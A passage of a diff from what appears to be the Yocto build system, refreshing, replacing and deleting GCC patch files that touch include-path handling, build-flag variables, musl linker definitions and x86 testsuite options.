-@@ -1510,9 +1513,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
+@@ -1632,9 +1635,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
static const char *md_exec_prefix = MD_EXEC_PREFIX;
static const char *md_startfile_prefix = MD_STARTFILE_PREFIX;
static const char *md_startfile_prefix_1 = MD_STARTFILE_PREFIX_1;
@@ -261,7 +425,7 @@ index c87f603955f..535d5c3bb65 100644
= STANDARD_STARTFILE_PREFIX_2;
/* A relative path to be used in finding the location of tools
-@@ -5952,6 +5955,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
+@@ -6564,6 +6567,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
}
break;
@@ -274,7 +438,7 @@ index c87f603955f..535d5c3bb65 100644
value = do_spec_1 (startfile_spec, 0, NULL);
if (value != 0)
diff --git a/gcc/incpath.c b/gcc/incpath.c
-index 9098ab044ab..bfad4ebe382 100644
+index fbfc0ce03b8..a82e543428b 100644
--- a/gcc/incpath.c
+++ b/gcc/incpath.c
@@ -131,7 +131,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
@@ -286,7 +450,7 @@ index 9098ab044ab..bfad4ebe382 100644
{
/* Look for directories that start with the standard prefix.
"Translate" them, i.e. replace /usr/local/lib/gcc... with
-@@ -145,7 +145,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+@@ -146,7 +146,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
now. */
if (sysroot && p->add_sysroot)
continue;
@@ -295,7 +459,7 @@ index 9098ab044ab..bfad4ebe382 100644
{
char *str = concat (iprefix, p->fname + len, NULL);
if (p->multilib == 1 && imultilib)
-@@ -185,7 +185,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+@@ -187,7 +187,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
free (sysroot_no_trailing_dir_separator);
}
else if (!p->add_sysroot && relocated
@@ -304,7 +468,7 @@ index 9098ab044ab..bfad4ebe382 100644
{
static const char *relocated_prefix;
char *ostr;
-@@ -202,12 +202,12 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+@@ -204,12 +204,12 @@ add_standard_paths (const char *sysroot, const char *iprefix,
dummy = concat (gcc_exec_prefix, "dummy", NULL);
relocated_prefix
= make_relative_prefix (dummy,
@@ -321,7 +485,7 @@ index 9098ab044ab..bfad4ebe382 100644
str = update_path (ostr, p->component);
free (ostr);
diff --git a/gcc/prefix.c b/gcc/prefix.c
-index 1a403e535bd..c26d07bde12 100644
+index 747c09de638..f728638dc65 100644
--- a/gcc/prefix.c
+++ b/gcc/prefix.c
@@ -72,7 +72,9 @@ License along with GCC; see the file COPYING3. If not see
@@ -344,6 +508,3 @@ index 1a403e535bd..c26d07bde12 100644
/* We used to strip trailing DIR_SEPARATORs here, but that can
sometimes yield a result with no separator when one was coded
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch b/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
index abf1f8491f..ff622b1056 100644
--- a/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
+++ b/meta/recipes-devtools/gcc/gcc/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
@@ -1,4 +1,4 @@
-From 9c0c73ee48dbee2aad57f4dcdad1b7b74e77b944 Mon Sep 17 00:00:00 2001
+From c55e24459370ad96577496ecd87475e3a9de7dad Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 7 Dec 2015 23:41:45 +0000
Subject: [PATCH] Search target sysroot gcc version specific dirs with
@@ -51,10 +51,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 28 insertions(+), 1 deletion(-)
diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 535d5c3bb65..04647ae812d 100644
+index aa6fbe43965..f8a71a13826 100644
--- a/gcc/gcc.c
+++ b/gcc/gcc.c
-@@ -2616,7 +2616,7 @@ for_each_path (const struct path_prefix *paths,
+@@ -2811,7 +2811,7 @@ for_each_path (const struct path_prefix *paths,
if (path == NULL)
{
len = paths->max_len + extra_space + 1;
@@ -63,7 +63,7 @@ index 535d5c3bb65..04647ae812d 100644
path = XNEWVEC (char, len);
}
-@@ -2628,6 +2628,33 @@ for_each_path (const struct path_prefix *paths,
+@@ -2823,6 +2823,33 @@ for_each_path (const struct path_prefix *paths,
/* Look first in MACHINE/VERSION subdirectory. */
if (!skip_multi_dir)
{
diff --git a/meta/recipes-devtools/gcc/gcc/0026-Fix-various-_FOR_BUILD-and-related-variables.patch b/meta/recipes-devtools/gcc/gcc/0026-Fix-various-_FOR_BUILD-and-related-variables.patch
deleted file mode 100644
index 97bf2f3a73..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0026-Fix-various-_FOR_BUILD-and-related-variables.patch
+++ /dev/null
@@ -1,134 +0,0 @@
-From 3a003af8804dda90fdf4862eca5f66cb12faaf02 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:42:45 +0000
-Subject: [PATCH] Fix various _FOR_BUILD and related variables
-
-When doing a FOR_BUILD thing, you have to override CFLAGS with
-CFLAGS_FOR_BUILD. And if you use C++, you also have to override
-CXXFLAGS with CXXFLAGS_FOR_BUILD.
-Without this, when building for mingw, you end up trying to use
-the mingw headers for a host build.
-
-The same goes for other variables as well, such as CPPFLAGS,
-CPP, and GMPINC.
-
-Upstream-Status: Pending
-
-Signed-off-by: Peter Seebach <peter.seebach@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.in | 6 ++++++
- Makefile.tpl | 5 +++++
- gcc/Makefile.in | 2 +-
- gcc/configure | 2 +-
- gcc/configure.ac | 2 +-
- 5 files changed, 14 insertions(+), 3 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index c717903bb13..5abc649868d 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -152,6 +152,7 @@ BUILD_EXPORTS = \
- CPP="$(CC_FOR_BUILD) -E"; export CPP; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -171,6 +172,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -188,6 +192,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-@@ -776,6 +781,7 @@ BASE_FLAGS_TO_PASS = \
- "CC_FOR_BUILD=$(CC_FOR_BUILD)" \
- "CFLAGS_FOR_BUILD=$(CFLAGS_FOR_BUILD)" \
- "CXX_FOR_BUILD=$(CXX_FOR_BUILD)" \
-+ "CXXFLAGS_FOR_BUILD=$(CXXFLAGS_FOR_BUILD)" \
- "EXPECT=$(EXPECT)" \
- "FLEX=$(FLEX)" \
- "INSTALL=$(INSTALL)" \
-diff --git a/Makefile.tpl b/Makefile.tpl
-index efed1511750..778beb705b4 100644
---- a/Makefile.tpl
-+++ b/Makefile.tpl
-@@ -154,6 +154,7 @@ BUILD_EXPORTS = \
- CC="$(CC_FOR_BUILD)"; export CC; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -173,6 +174,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -190,6 +194,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 011c7ac2db6..2f1165f7b5e 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -805,7 +805,7 @@ BUILD_LDFLAGS=@BUILD_LDFLAGS@
- BUILD_NO_PIE_FLAG = @BUILD_NO_PIE_FLAG@
- BUILD_LDFLAGS += $(BUILD_NO_PIE_FLAG)
- BUILD_CPPFLAGS= -I. -I$(@D) -I$(srcdir) -I$(srcdir)/$(@D) \
-- -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS)
-+ -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS_FOR_BUILD)
-
- # Actual name to use when installing a native compiler.
- GCC_INSTALL_NAME := $(shell echo gcc|sed '$(program_transform_name)')
-diff --git a/gcc/configure b/gcc/configure
-index 825a9652329..ff46cf58960 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -12314,7 +12314,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 6099eb3251f..b3c345b61dc 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -1898,7 +1898,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
diff --git a/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch b/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
index 3cd75b7183..97c271373b 100644
--- a/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
+++ b/meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch
@@ -1,20 +1,26 @@
-From 4e53d0ae70af85af0e112a48a3e4dfe4c39f4a8d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 2 Feb 2016 10:26:10 -0800
-Subject: [PATCH] nios2: Define MUSL_DYNAMIC_LINKER
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 4/5] gcc/nios2: Define the musl linker
-Upstream-Status: Pending
+Add a definition of the musl linker used on the nios2 platform.
-Signed-off-by: Marek Vasut <marex@denx.de>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+2021-10-26 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+gcc/ChangeLog:
+
+ * config/nios2/linux.h (MUSL_DYNAMIC_LINKER): Add musl linker
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582723.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=e5ddbbf992b909d8e38851bd3179d29389e6ac97]
---
gcc/config/nios2/linux.h | 1 +
1 file changed, 1 insertion(+)
-diff --git a/gcc/config/nios2/linux.h b/gcc/config/nios2/linux.h
-index 4bdcdcca1f0..e7943a9d640 100644
---- a/gcc/config/nios2/linux.h
-+++ b/gcc/config/nios2/linux.h
+Index: gcc-11.2.0/gcc/config/nios2/linux.h
+===================================================================
+--- gcc-11.2.0.orig/gcc/config/nios2/linux.h
++++ gcc-11.2.0/gcc/config/nios2/linux.h
@@ -30,6 +30,7 @@
#define CPP_SPEC "%{posix:-D_POSIX_SOURCE} %{pthread:-D_REENTRANT}"
diff --git a/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch b/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
index 2a6769a82e..9c616d24d0 100644
--- a/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
+++ b/meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
@@ -1,4 +1,4 @@
-From 5db0404eb770ac477fd99d444226bcf021067584 Mon Sep 17 00:00:00 2001
+From 745a2ac7825c73102b888226c54397d21512f86b Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Tue, 27 Jun 2017 18:10:54 -0700
Subject: [PATCH] Add ssp_nonshared to link commandline for musl targets
@@ -22,12 +22,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
gcc/config/rs6000/linux64.h | 10 ++++++++++
3 files changed, 27 insertions(+)
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index 0c1a8118a26..bdc2a2d0659 100644
--- a/gcc/config/linux.h
+++ b/gcc/config/linux.h
-@@ -195,6 +195,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
+@@ -203,6 +203,13 @@ see the files COPYING3 and COPYING.RUNTI
+ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
{ 0, 0, 0, 0, 0, 0 } \
}
+#ifdef TARGET_LIBC_PROVIDES_SSP
@@ -40,8 +38,6 @@ index 0c1a8118a26..bdc2a2d0659 100644
#endif
#if (DEFAULT_LIBC == LIBC_UCLIBC) && defined (SINGLE_LIBC) /* uClinux */
-diff --git a/gcc/config/rs6000/linux.h b/gcc/config/rs6000/linux.h
-index b7026fcbee7..dd54d6c393e 100644
--- a/gcc/config/rs6000/linux.h
+++ b/gcc/config/rs6000/linux.h
@@ -94,6 +94,16 @@
@@ -61,11 +57,9 @@ index b7026fcbee7..dd54d6c393e 100644
#undef LINK_OS_LINUX_SPEC
#define LINK_OS_LINUX_SPEC LINK_OS_LINUX_EMUL " %{!shared: %{!static: \
%{!static-pie: \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 967c1c43c63..dc5e4d97975 100644
--- a/gcc/config/rs6000/linux64.h
+++ b/gcc/config/rs6000/linux64.h
-@@ -452,6 +452,16 @@ extern int dot_symbols;
+@@ -369,6 +369,16 @@ extern int dot_symbols;
" -m elf64ppc")
#endif
diff --git a/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch b/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
index 767cba0380..b74aeb8bb6 100644
--- a/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
+++ b/meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch
@@ -1,4 +1,4 @@
-From fbc926dbf6a47fa623b9c94cd9b09a0e90448fdc Mon Sep 17 00:00:00 2001
+From 695adb4dffb23c6f5cbc757e05cf4187a2bd6528 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 4 May 2016 21:11:34 -0700
Subject: [PATCH] Link libgcc using LDFLAGS, not just SHLIB_LDFLAGS
@@ -12,7 +12,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/libgcc/config/t-slibgcc b/libgcc/config/t-slibgcc
-index c997553447c..330352c2c81 100644
+index c59b43b7b69..ca4c141f526 100644
--- a/libgcc/config/t-slibgcc
+++ b/libgcc/config/t-slibgcc
@@ -32,7 +32,7 @@ SHLIB_INSTALL_SOLINK = $(LN_S) $(SHLIB_SONAME) \
diff --git a/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch b/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch
index 4f18907a1d..86f75d0d51 100644
--- a/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch
+++ b/meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch
@@ -1,4 +1,4 @@
-From 24dc04dc8d69e3bf61322615b3ef18e02ccd311e Mon Sep 17 00:00:00 2001
+From a9173429ae256c4b4a3ab4d758a6adf42f8c4239 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 3 Feb 2017 12:56:00 -0800
Subject: [PATCH] sync gcc stddef.h with musl
@@ -14,7 +14,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 9 insertions(+)
diff --git a/gcc/ginclude/stddef.h b/gcc/ginclude/stddef.h
-index 9d67eac4947..6cb5edbedb4 100644
+index 66619fe43b1..3f843d6f365 100644
--- a/gcc/ginclude/stddef.h
+++ b/gcc/ginclude/stddef.h
@@ -128,6 +128,7 @@ _TYPE_wchar_t;
diff --git a/meta/recipes-devtools/gcc/gcc/0031-fix-segmentation-fault-in-precompiled-header-generat.patch b/meta/recipes-devtools/gcc/gcc/0031-fix-segmentation-fault-in-precompiled-header-generat.patch
deleted file mode 100644
index 702279af0e..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0031-fix-segmentation-fault-in-precompiled-header-generat.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 27b8ba5555ada2dab076988529bfb84d00a4b901 Mon Sep 17 00:00:00 2001
-From: Juro Bystricky <juro.bystricky@intel.com>
-Date: Mon, 19 Mar 2018 22:31:20 -0700
-Subject: [PATCH] fix segmentation fault in precompiled header generation
-
-Prevent a segmentation fault which occurs when using incorrect
-structure trying to access name of some named operators, such as
-CPP_NOT, CPP_AND etc. "token->val.node.spelling" cannot be used in
-those cases, as is may not be initialized at all.
-
-[YOCTO #11738]
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libcpp/lex.c | 26 +++++++++++++++++++++-----
- 1 file changed, 21 insertions(+), 5 deletions(-)
-
-diff --git a/libcpp/lex.c b/libcpp/lex.c
-index 56ac3a1dd73..73a951148b3 100644
---- a/libcpp/lex.c
-+++ b/libcpp/lex.c
-@@ -3311,11 +3311,27 @@ cpp_spell_token (cpp_reader *pfile, const cpp_token *token,
- spell_ident:
- case SPELL_IDENT:
- if (forstring)
-- {
-- memcpy (buffer, NODE_NAME (token->val.node.spelling),
-- NODE_LEN (token->val.node.spelling));
-- buffer += NODE_LEN (token->val.node.spelling);
-- }
-+ {
-+ if (token->type == CPP_NAME)
-+ {
-+ memcpy (buffer, NODE_NAME (token->val.node.spelling),
-+ NODE_LEN (token->val.node.spelling));
-+ buffer += NODE_LEN (token->val.node.spelling);
-+ break;
-+ }
-+ /* NAMED_OP, cannot use node.spelling */
-+ if (token->flags & NAMED_OP)
-+ {
-+ const char *str = cpp_named_operator2name (token->type);
-+ if (str)
-+ {
-+ size_t len = strlen(str);
-+ memcpy(buffer, str, len);
-+ buffer += len;
-+ }
-+ break;
-+ }
-+ }
- else
- buffer = _cpp_spell_ident_ucns (buffer, token->val.node.node);
- break;
diff --git a/meta/recipes-devtools/gcc/gcc/0032-Fix-for-testsuite-failure.patch b/meta/recipes-devtools/gcc/gcc/0032-Fix-for-testsuite-failure.patch
deleted file mode 100644
index 0a0767b441..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0032-Fix-for-testsuite-failure.patch
+++ /dev/null
@@ -1,255 +0,0 @@
-From 2512aacf023c679d86d8f40caff4f6ff412b32ff Mon Sep 17 00:00:00 2001
-From: RAGHUNATH LOLUR <raghunath.lolur@kpit.com>
-Date: Wed, 6 Dec 2017 22:52:26 -0800
-Subject: [PATCH] Fix for testsuite failure
-
-2017-11-16 Raghunath Lolur <raghunath.lolur@kpit.com>
-
- * gcc.dg/pr56275.c: If SSE is disabled, ensure that
- "-mfpmath" is not set to use SSE. Set "-mfpmath=387".
- * gcc.dg/pr68306.c: Likewise
- * gcc.dg/pr68306-2.c: Likewise
- * gcc.dg/pr68306-3.c: Likewise
- * gcc.dg/pr69634.c: Likewise
- * gcc.target/i386/amd64-abi-1.c: Likewise
- * gcc.target/i386/funcspec-6.c: Likewise
- * gcc.target/i386/interrupt-387-err-1.c: Likewise
- * gcc.target/i386/isa-14.c: Likewise
- * gcc.target/i386/pr44948-2b.c: Likewise
- * gcc.target/i386/pr53425-1.c: Likewise
- * gcc.target/i386/pr53425-2.c: Likewise
- * gcc.target/i386/pr55247.c: Likewise
- * gcc.target/i386/pr59644.c: Likewise
- * gcc.target/i386/pr62120.c: Likewise
- * gcc.target/i386/pr70467-1.c: Likewise
- * gcc.target/i386/warn-vect-op-1.c: Likewise
-
-If -Wall, -Werror are used during compilation various test cases fail
-to compile.
-
-If SSE is disabled, be sure to -mfpmath=387 to resolve this.
-
-This patch removes the changes to Changelog from the original patch.
-This will help us avoid conflicts.
-
-Upstream-Status: Pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- gcc/testsuite/gcc.dg/pr56275.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-2.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306-3.c | 2 +-
- gcc/testsuite/gcc.dg/pr68306.c | 2 +-
- gcc/testsuite/gcc.dg/pr69634.c | 2 +-
- gcc/testsuite/gcc.target/i386/amd64-abi-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/funcspec-6.c | 1 +
- gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/isa-14.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr44948-2b.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr53425-2.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr55247.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr59644.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr62120.c | 2 +-
- gcc/testsuite/gcc.target/i386/pr70467-1.c | 2 +-
- gcc/testsuite/gcc.target/i386/warn-vect-op-1.c | 2 +-
- 17 files changed, 17 insertions(+), 16 deletions(-)
-
-diff --git a/gcc/testsuite/gcc.dg/pr56275.c b/gcc/testsuite/gcc.dg/pr56275.c
-index b901bb2b199..a4f6c95e1a1 100644
---- a/gcc/testsuite/gcc.dg/pr56275.c
-+++ b/gcc/testsuite/gcc.dg/pr56275.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2" } */
--/* { dg-additional-options "-mno-sse" { target { i?86-*-* x86_64-*-* } } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target { i?86-*-* x86_64-*-* } } } */
-
- typedef long long v2tw __attribute__ ((vector_size (2 * sizeof (long long))));
-
-diff --git a/gcc/testsuite/gcc.dg/pr68306-2.c b/gcc/testsuite/gcc.dg/pr68306-2.c
-index 4672ebe7987..2a368c484b6 100644
---- a/gcc/testsuite/gcc.dg/pr68306-2.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-2.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- struct {
- int tz_minuteswest;
-diff --git a/gcc/testsuite/gcc.dg/pr68306-3.c b/gcc/testsuite/gcc.dg/pr68306-3.c
-index f5a8c102cf8..df3390c64c2 100644
---- a/gcc/testsuite/gcc.dg/pr68306-3.c
-+++ b/gcc/testsuite/gcc.dg/pr68306-3.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-additional-options "-mno-altivec -mno-vsx" { target powerpc*-*-* } } */
-
- extern void fn2();
-diff --git a/gcc/testsuite/gcc.dg/pr68306.c b/gcc/testsuite/gcc.dg/pr68306.c
-index 54e5b40f221..0813389e2c1 100644
---- a/gcc/testsuite/gcc.dg/pr68306.c
-+++ b/gcc/testsuite/gcc.dg/pr68306.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O3" } */
--/* { dg-additional-options "-mno-sse -mno-mmx" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mno-mmx -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
-
- enum powerpc_pmc_type { PPC_PMC_IBM };
- struct {
-diff --git a/gcc/testsuite/gcc.dg/pr69634.c b/gcc/testsuite/gcc.dg/pr69634.c
-index 60a56149463..bcc23f9ccd6 100644
---- a/gcc/testsuite/gcc.dg/pr69634.c
-+++ b/gcc/testsuite/gcc.dg/pr69634.c
-@@ -1,6 +1,6 @@
- /* { dg-do compile } */
- /* { dg-options "-O2 -fno-dce -fschedule-insns -fno-tree-vrp -fcompare-debug -Wno-psabi" } */
--/* { dg-additional-options "-mno-sse" { target i?86-*-* x86_64-*-* } } */
-+/* { dg-additional-options "-mno-sse -mfpmath=387" { target i?86-*-* x86_64-*-* } } */
- /* { dg-require-effective-target scheduling } */
-
- typedef unsigned short u16;
-diff --git a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-index 69fde57bf06..7f1f1c03edf 100644
---- a/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-+++ b/gcc/testsuite/gcc.target/i386/amd64-abi-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile { target { ! ia32 } } } */
--/* { dg-options "-mno-sse" } */
-+/* { dg-options "-mno-sse -mfpmath=387" } */
- /* { dg-additional-options "-mabi=sysv" { target *-*-mingw* } } */
-
- double foo(void) { return 0; } /* { dg-error "SSE disabled" } */
-diff --git a/gcc/testsuite/gcc.target/i386/funcspec-6.c b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-index ea896b7ebfd..bf15569b826 100644
---- a/gcc/testsuite/gcc.target/i386/funcspec-6.c
-+++ b/gcc/testsuite/gcc.target/i386/funcspec-6.c
-@@ -1,6 +1,7 @@
- /* Test whether all of the 64-bit function specific options are accepted
- without error. */
- /* { dg-do compile { target { ! ia32 } } } */
-+/* { dg-additional-options "-mfpmath=387" } */
-
- #include "funcspec-56.inc"
-
-diff --git a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-index 8561a3c26d6..6377f814645 100644
---- a/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-+++ b/gcc/testsuite/gcc.target/i386/interrupt-387-err-1.c
-@@ -1,5 +1,5 @@
- /* { dg-do compile } */
